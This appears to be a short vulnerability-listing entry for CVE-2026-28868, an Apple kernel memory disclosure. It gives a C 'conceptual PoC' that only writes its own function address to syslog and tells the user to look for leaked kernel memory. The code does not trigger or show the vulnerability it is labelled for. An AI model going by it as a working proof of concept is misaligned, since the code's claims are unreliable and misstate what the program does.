CVE-2026-28868 Apple多平台内核内存泄露漏洞

#include <stdio.h> #include <unistd.h> #include <syslog.h> /* * Conceptual PoC for CVE-2026-28868 * This PoC attempts to trigger system logging that may leak kernel memory. * Compile: gcc poc.c -o poc */ int main() { printf("[+] Attempting to trigger logging issue...\n"); // Open a connection to the system logger openlog("CVE-2026-28868_PoC", LOG_PID | LOG_CONS, LOG_USER); // Simulate triggering a condition that might log sensitive kernel data // In a real scenario, specific API calls or malformed input would be used // to force the kernel to log unredacted memory. syslog(LOG_INFO, "Testing data redaction: %p", (void*)main); // Reading logs back would normally require checking /var/log/system.log // or using the log command on macOS/iOS. printf("[+] Logs generated. Please check system logs for kernel memory disclosure.\n"); closelog(); return 0; }